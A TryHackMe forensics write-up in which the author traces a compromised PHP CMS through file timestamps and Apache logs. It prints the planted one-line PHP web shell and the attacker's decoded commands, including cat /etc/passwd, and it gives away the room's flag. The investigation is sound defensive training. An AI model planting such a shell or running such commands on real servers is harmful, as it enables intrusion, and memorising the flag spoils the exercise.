Infinity Shell

Investigate and analyse the traces of an attack from an implanted webshell.

Task 1 – Forensics Infinity Shell

Specter

Forensics

Today

Cipher’s legion of bots has exploited a known vulnerability in our web application, leaving behind a dangerous web shell implant. Investigate the breach and trace the attacker's footsteps!

Infinity Shell — TryHackMe Write-Up

Scenario

Cipher's legion of bots exploited a known vulnerability in a web application and planted a malicious web shell. The goal was to investigate the compromise, identify the uploaded shell, trace the attacker's actions, and recover the flag left behind during command execution.

Objective

- Investigate the compromised web application
- Identify the attacker's IP address
- Find the uploaded web shell
- Trace how the shell was deployed
- Decode the attacker's commands
- Recover the flag

Tools Used

- Linux command line
- find
- grep
- ls
- sed
- Apache access logs
- Base64 decoding

Step 1: Explore the web root

I started by moving into the web root to identify the hosted application.

‘cd /var/www/html’

‘ls -la’

```
ubuntu@tryhackme:~$ cd /var/www/html/
ubuntu@tryhackme:/var/www/html$ ls -la
total 24
drwxr-xr-x 3 www-data www-data  4096 Mar  6  2025 .
drwxr-xr-x 3 root     root      4096 Mar  6  2025 ..
drwxr-xr-x 8 www-data www-data  4096 Mar  6  2025 CMSsite-master
-rw-r--r-- 1 www-data www-data 10671 Mar  6  2025 index.html
```

The interesting application directory was:

<u>CMSsite-master</u>

I then moved into that folder and listed files to understand the application structure.

‘cd /var/www/html/CMSsite-master’

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ ls
LICENSE  README.md  admin  category.php  css  fonts  img  includes  index.php  js  php_cms.sql  post.php  register.php  search.php
```

‘find . -type f | sed 's#^\./##' | sort’

```
ubuntu@tryhackme:/var/www/html$ cd CMSsite-master/
ubuntu@tryhackme:/var/www/html/CMSsite-master$ find . -type f | sed 's#^\./##' | sort
.gitattributes
LICENSE
README.md
admin/categories.php
admin/comment.php
admin/crud_cat_function.php
admin/css/cms-home.css
admin/css/material-icons.css
admin/css/plugins/morris.css
admin/css/sb-admin-rtl.css
admin/css/sb-admin.css
admin/font-awesome/HELP-US-OUT.txt
```

This confirmed that the application contained the usual front-end, admin, includes, and image directories.

Step 2: Look for recently modified files

To identify anything suspicious, I checked file timestamps across the project.

‘find . -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort’

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ find . -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort
2022-03-06 08:21 ./.gitattributes
2022-03-06 08:21 ./LICENSE
2022-03-06 08:21 ./README.md
2022-03-06 08:21 ./admin/categories.php
2022-03-06 08:21 ./admin/comment.php
2022-03-06 08:21 ./admin/crud_cat_function.php
```

Most files had an old timestamp from **2022-03-06 08:21**, but two files stood out:

2025-03-06 09:38 ./includes/db.php

2025-03-06 09:50 ./img/images.php

```
2025-03-06 09:38 ./includes/db.php
2025-03-06 09:50 ./img/images.php
```

This immediately made img/images.php suspicious because it was a PHP file inside an image directory and had a recent timestamp matching the incident timeline.

Step 3: Hunt for suspicious PHP files

To narrow the search, I listed all PHP-related files.

‘find . -type f \(-name "*.php" -o -name "*.phtml" -o -name "*.php5" \) | sort’

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ find . -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" \) | sort
./admin/categories.php
./admin/comment.php
./admin/crud_cat_function.php
./admin/function.php
./admin/includes/admin_add_post.php
./admin/includes/admin_add_user.php
./admin/includes/admin_edit_comment.php
./admin/includes/admin_edit_post.php
./admin/includes/admin_edit_user.php
./admin/includes/admin_footer.php
./admin/includes/admin_header.php
./admin/includes/admin_navbar.php
./admin/includes/admin_update_categories.php
./admin/includes/admin_view_all_comments.php
./admin/includes/admin_view_all_posts.php
./admin/includes/admin_view_all_users.php
./admin/index.php
./admin/posts.php
./admin/profile.php
./admin/user_error.php
./admin/users.php
./category.php
./img/images.php
./includes/db.php
./includes/footer.php
./includes/header.php
./includes/login.php
./includes/logout.php
./includes/navbar.php
./includes/sidebar.php
./includes/widget.php
./index.php
./post.php
./register.php
./search.php
```

Among the normal application files, this one stood out:

./img/images.php

A PHP file inside /img/ is unusual and strongly suggests a malicious upload.

Step 4: Inspect the image directory

Next, I focused on the image directory to confirm the suspicious file.

‘ls -la /var/www/html/CMSsite-master/img’

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ ls -la /var/www/html/CMSsite-master/img/
total 9000
-rw-r--r-- 1 www-data www-data   88356 Mar  6  2022 '$user_image'
drwxr-xr-x 2 www-data www-data    4096 Mar  6  2025  .
drwxr-xr-x 8 www-data www-data    4096 Mar  6  2025  ..
-rw-r--r-- 1 www-data www-data  249196 Mar  6  2022  10067.jpg
-rw-r--r-- 1 www-data www-data 1512559 Mar  6  2022  10958.jpg
-rw-r--r-- 1 www-data www-data  390784 Mar  6  2022  19946.jpg
-rw-r--r-- 1 www-data www-data  192921 Mar  6  2022  22497.jpg
-rw-r--r-- 1 www-data www-data   39148 Mar  6  2022  2347033459561.jpg
-rw-r--r-- 1 www-data www-data  331708 Mar  6  2022  24-cast-tv-serie-wallpapers-1024x768.jpg
-rw-r--r-- 1 www-data www-data  460988 Mar  6  2022  24195.jpg
-rw-r--r-- 1 www-data www-data  834918 Mar  6  2022  25501.jpg
-rw-r--r-- 1 www-data www-data  244682 Mar  6  2022  33070.jpg
-rw-r--r-- 1 www-data www-data  359800 Mar  6  2022  36296.jpg
-rw-r--r-- 1 www-data www-data   63259 Mar  6  2022  500.JPG
-rw-r--r-- 1 www-data www-data  207263 Mar  6  2022  505.jpg
-rw-r--r-- 1 www-data www-data  416245 Mar  6  2022  9400.jpg
-rw-r--r-- 1 www-data www-data   88886 Mar  6  2022 'BlackBerry 9000521.JPG'
-rw-r--r-- 1 www-data www-data   48628 Mar  6  2022 'Chelsea-me 20151215_142015.jpg'
-rw-r--r-- 1 www-data www-data   66576 Mar  6  2022  IMG_20160129_145808.jpg
-rw-r--r-- 1 www-data www-data   82968 Mar  6  2022  IMG_20160214_152546.jpg
-rw-r--r-- 1 www-data www-data   76160 Mar  6  2022  IMG_20160725_144420.jpg
-rw-r--r-- 1 www-data www-data 1545274 Mar  6  2022  IMG_20160917_152307.jpg
-rw-r--r-- 1 www-data www-data  300564 Mar  6  2022  acer-aspire-blue-computer-wallpapers-1024x768.jpg
-rw-r--r-- 1 www-data www-data  185480 Mar  6  2022  call-of-duty-games-wallpapers.jpg
-rw-r--r-- 1 www-data www-data  398649 Mar  6  2022  casino-royale-james-bond-wallpaper.jpg
-rw-r--r-- 1 www-data www-data   82142 Mar  6  2022  cms_admin.JPG
-rw-r--r-- 1 www-data www-data   77145 Mar  6  2022  cms_admin_categories.JPG
-rw-r--r-- 1 www-data www-data  105761 Mar  6  2022  cms_admin_post.JPG
-rw-r--r-- 1 www-data www-data   69230 Mar  6  2022  cms_admin_restrict.JPG
-rw-r--r-- 1 www-data www-data   99407 Mar  6  2022  cms_admin_users1.JPG
-rw-r--r-- 1 www-data www-data   57871 Mar  6  2022  cms_admin_users2.JPG
-rw-r--r-- 1 www-data www-data   96583 Mar  6  2022  cms_front.JPG
-rw-r--r-- 1 www-data www-data   17911 Mar  6  2022  comment.jpg
-rw-r--r-- 1 www-data www-data      48 Mar  6  2025  images.php
-rw-r--r-- 1 www-data www-data   99589 Mar  6  2022  post_img.jpg
-rw-r--r-- 1 www-data www-data  192843 Mar  6  2022  post_img2.jpg
```

-rw-r--r-- 1 www-data www-data 48 Mar 6 2025 images.php

The file size was only **48 bytes**, which is another strong sign of a small web shell.

Step 5: Read the web shell

I opened the file to confirm its behavior.

‘sed -n '1,200p' /var/www/html/CMSsite-master/img/images.php’

<?php system(base64_decode($_GET['query'])); ?>

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ sed -n '1,200p' /var/www/html/CMSsite-master/img/images.php
<?php system(base64_decode($_GET['query'])); ?>
ubuntu@tryhackme:/var/www/html/CMSsite-master$ cat /var/www/html/CMSsite-master/img/images.php
<?php system(base64_decode($_GET['query'])); ?>
```

This confirmed that the file was a web shell. It takes input from the query GET parameter, decodes it from Base64, and passes it to system() for command execution on the server.

At this point, the important findings were:

- **Web shell name:** images.php
- **Location:** /var/www/html/CMSsite-master/img/images.php
- **Parameter:** query
- **Execution function:** system()
- **Encoding:** Base64

Step 6: Trace the attacker in the Apache logs

After confirming the web shell, I traced how it was uploaded and used by reviewing the Apache access logs.

```
ubuntu@tryhackme:/var/www/html/CMSsite-master$ cd /var/log/
ubuntu@tryhackme:/var/log$ ls
README                  amazon                  apport.log.7.gz  cloud-init-output.log  dmesg.1.gz      dpkg.log.5.gz           kern.log.3.gz        samba                ubuntu-advantage.log
Xorg.0.log              apache2                 apt              cloud-init.log         dmesg.2.gz      fontconfig.log          kern.log.4.gz        speech-dispatcher    ubuntu-advantage.log.1
Xorg.0.log.old          apport.log              auth.log         cloud-init.log.1       dmesg.3.gz      gpu-manager-switch.log  landscape            sssd                 ubuntu-advantage.log.2.gz
alternatives.log        apport.log.1            auth.log.1       cloud-init.log.2.gz    dmesg.4.gz      gpu-manager.log         lastlog              syslog               ubuntu-advantage.log.3.gz
alternatives.log.1      apport.log.2.gz         auth.log.2.gz    cups                   dpkg.log        hp                      lightdm              syslog.1             unattended-upgrades
alternatives.log.2.gz   apport.log.3.gz         auth.log.3.gz    cups-browsed           dpkg.log.1      journal                 openvpn              syslog.2.gz          upgrade
alternatives.log.3.gz   apport.log.4.gz         auth.log.4.gz    dist-upgrade           dpkg.log.2.gz   kern.log                prime-offload.log    syslog.3.gz          wtmp
alternatives.log.4.gz   apport.log.5.gz         btmp             dmesg                  dpkg.log.3.gz   kern.log.1              prime-supported.log  syslog.4.gz
alternatives.log.5.gz   apport.log.6.gz         btmp.1           dmesg.0                dpkg.log.4.gz   kern.log.2.gz           private              sysstat
ubuntu@tryhackme:/var/log$ cd apache2/
ubuntu@tryhackme:/var/log/apache2$ ls
access.log  error.log  error.log.1  other_vhosts_access.log  other_vhosts_access.log.1
ubuntu@tryhackme:/var/log/apache2$ wc -l access.log
0 access.log
ubuntu@tryhackme:/var/log/apache2$ wc -l other_vhosts_access.log
0 other_vhosts_access.log
ubuntu@tryhackme:/var/log/apache2$ wc -l other_vhosts_access.log.1
110 other_vhosts_access.log.1
```

grep -Rni "POST\|GET" /var/log/apache2/other_vhosts_access.log.1

```
ubuntu@tryhackme:/var/log/apache2$ grep -Rni "POST\|GET" /var/log/apache2/other_vhosts_access.log.1
1:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:47 +0000] "GET / HTTP/1.1" 200 3460 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
2:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:47 +0000] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3607 "http://10.10.80.94:8080/" "Mozilla/5.0 (Macintosh
; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
3:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:48 +0000] "GET /favicon.ico HTTP/1.1" 404 491 "http://10.10.80.94:8080/" "Mozilla/5.0 (Macintosh; Intel Mac
 OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
4:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:51 +0000] "GET /index.html HTTP/1.1" 200 3459 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWeb
Kit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
5:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:57 +0000] "GET /CMSsite-master HTTP/1.1" 301 602 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Apple
WebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
6:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:36:58 +0000] "GET /CMSsite-master/ HTTP/1.1" 500 418 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Appl
eWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
7:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:20 +0000] "GET /CMSsite-master/ HTTP/1.1" 200 2724 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA5
8N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
8:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:20 +0000] "GET /CMSsite-master/admin/js/tinymce/script.js HTTP/1.1" 200 326 "http://10.10.80.94:8080/CMSsit
e-master/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
10:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:20 +0000] "GET /CMSsite-master/css/cms-home.css HTTP/1.1" 200 615 "http://10.10.80.94:8080/CMSsite-master/
" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
11:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:21 +0000] "GET /CMSsite-master/admin/font-awesome/css/font-awesome.min.css HTTP/1.1" 404 492 "http://10.10
.80.94:8080/CMSsite-master/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
12:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:21 +0000] "GET /CMSsite-master/css/material-icons.css HTTP/1.1" 200 800 "http://10.10.80.94:8080/CMSsite-m
aster/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
13:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:20 +0000] "GET /CMSsite-master/admin/js/tinymce/tinymce.min.js HTTP/1.1" 200 129870 "http://10.10.80.94:80
80/CMSsite-master/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
14:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:21 +0000] "GET /CMSsite-master/img/10067.jpg HTTP/1.1" 200 249487 "http://10.10.80.94:8080/CMSsite-master/
" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
15:ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:22 +0000] "GET /CMSsite-master/img/%C3%A2%E2%82%AC%C2%AA+234%20708%20575%205153%C3%A2%E2%82%AC%C2%AC%20201
51122_173724.jpg HTTP/1.1" 404 491 "http://10.10.80.94:8080/CMSsite-master/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 M
```

From the log entries, the attacker IP was identified as:

➔ 10.11.93.143

The log showed the attacker browsing the site, registering an account, logging in, and then reaching the admin area.

```
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:48:14 +0000] "POST /CMSsite-master/admin/profile.php?section=not_cipher HTTP/1.1" 200 2430 "http://10.10.80.9
4:8080/CMSsite-master/admin/profile.php?section=not_cipher" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:48:14 +0000] "GET /CMSsite-master/img/images.php HTTP/1.1" 404 491 "http://10.10.80.94:8080/CMSsite-master/ad
```

Step 7: Identify the vulnerable page

The suspicious activity centered around the profile page in the admin panel:

/CMSsite-master/admin/profile.php?section=not_cipher

Repeated POST requests were made to that page, followed by requests for the malicious file:

‘POST /CMSsite-master/admin/profile.php?section=not_cipher’
‘GET /CMSsite-master/img/images.php’

```
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:48:14 +0000] "POST /CMSsite-master/admin/profile.php?section=not_cipher HTTP/1.1" 200 2430 "http://10.10.80.9
4:8080/CMSsite-master/admin/profile.php?section=not_cipher" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:48:14 +0000] "GET /CMSsite-master/img/images.php HTTP/1.1" 404 491 "http://10.10.80.94:8080/CMSsite-master/ad
```

This showed that the attacker used the profile page’s upload functionality to place the shell into the /img/ directory.

Step 8: Confirm web shell execution

The first requests to the uploaded file returned errors, but later the shell started working.

Suspicious requests included:

```
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:57 +0000] "GET /CMSsite-master/img/images.php?query=d2hvYW1pCg== HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Macin
tosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:11 +0000] "GET /CMSsite-master/img/images.php?query=bHMK HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Macintosh; In
tel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:20 +0000] "GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= HTTP/1.1"
200 229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:28 +0000] "GET /CMSsite-master/img/images.php?query=aWZjb25maWcK HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macin
tosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
```

```
ubuntu@tryhackme:/var/log/apache2$ grep "query" /var/log/apache2/other_vhosts_access.log.1
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:40:22 +0000] "GET /CMSsite-master/js/jquery.js HTTP/1.1" 200 33570 "http://10.10.80.94:8080/CMSsite-master/" "Mo
zilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:47:17 +0000] "GET /CMSsite-master/admin/js/jquery.js HTTP/1.1" 200 33571 "http://10.10.80.94:8080/CMSsite-master
/admin/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:57 +0000] "GET /CMSsite-master/img/images.php?query=d2hvYW1pCg== HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Macintos
h; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:11 +0000] "GET /CMSsite-master/img/images.php?query=bHMK HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Macintosh; Intel
 Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:20 +0000] "GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= HTTP/1.1" 20
0 229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:28 +0000] "GET /CMSsite-master/img/images.php?query=aWZjb25maWcK HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macintos
h; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:40 +0000] "GET /CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg== HTTP/1.1" 200 1546 "-" "Mozilla/
5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:47 +0000] "GET /CMSsite-master/img/images.php?query=aWQK HTTP/1.1" 200 258 "-" "Mozilla/5.0 (Macintosh; Intel
 Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
```

GET /CMSsite-master/img/images.php?query=d2hvYW1pCg==
GET /CMSsite-master/img/images.php?query=bHMK
GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo=
GET /CMSsite-master/img/images.php?query=aWZjb25maWcK
GET /CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg==
GET /CMSsite-master/img/images.php?query=aWQK

```
ubuntu@tryhackme:/var/log/apache2$ grep "query=" /var/log/apache2/other_vhosts_access.log.1 | awk -F" " '{print $7, $8, $9}'
"GET /CMSsite-master/img/images.php?query=d2hvYW1pCg== HTTP/1.1"
"GET /CMSsite-master/img/images.php?query=bHMK HTTP/1.1"
"GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= HTTP/1.1"
"GET /CMSsite-master/img/images.php?query=aWZjb25maWcK HTTP/1.1"
"GET /CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg== HTTP/1.1"
"GET /CMSsite-master/img/images.php?query=aWQK HTTP/1.1"
ubuntu@tryhackme:/var/log/apache2$ grep "query=" /var/log/apache2/other_vhosts_access.log.1 | awk -F" " '{print $8}'
/CMSsite-master/img/images.php?query=d2hvYW1pCg==
/CMSsite-master/img/images.php?query=bHMK
/CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo=
/CMSsite-master/img/images.php?query=aWZjb25maWcK
/CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg==
/CMSsite-master/img/images.php?query=aWQK
ubuntu@tryhackme:/var/log/apache2$ grep "query=" /var/log/apache2/other_vhosts_access.log.1 | awk -F" " '{print $8}' | awk -F? '{print $2}'
query=d2hvYW1pCg==
query=bHMK
query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo=
query=aWZjb25maWcK
query=Y2F0IC9ldGMvcGFzc3dkCg==
query=aWQK
```

These were Base64-encoded commands sent to the shell.

Step 9: Decode the attacker's commands

The encoded values can be decoded to reveal what the attacker executed.

```
ubuntu@tryhackme:/var/log/apache2$ grep "query=" /var/log/apache2/other_vhosts_access.log.1 | awk -F" " '{print $8}' | awk -F? '{print $2}' | awk -F= '{print $2}'
d2hvYW1pCg
bHMK
ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo
aWZjb25maWcK
Y2F0IC9ldGMvcGFzc3dkCg
aWQK
```

Examples:

d2hvYW1pCg==	-> whoami
bHMK	-> ls
aWZjb25maWcK	-> ifconfig
Y2F0IC9ldGMvcGFzc3dkCg==	-> cat /etc/passwd
aWQK	-> id

The most important one was:

ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo=

```
ubuntu@tryhackme:/var/log/apache2$ echo "ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo" | base64 -d
echo 'THM{sup3r_34sy_w3bsh3ll}'
```

Which decodes to:

'THM{sup3r_34sy_w3bsh3ll}'

Step 10: Retrieve the flag

From the decoded command, the attacker echoed the flag directly through the web shell:

Flag:

THM{sup3r_34sy_w3bsh3ll}

Summary

I liked this room because it felt like a realistic web compromise investigation. The web shell itself was easy to miss at first, but once I checked recent file changes and followed the requests in the Apache logs, the full attack path started to make sense. From there, it was possible to confirm how the shell worked, decode the commands the attacker ran, and recover the flag THM{sup3r_34sy_w3bsh3ll}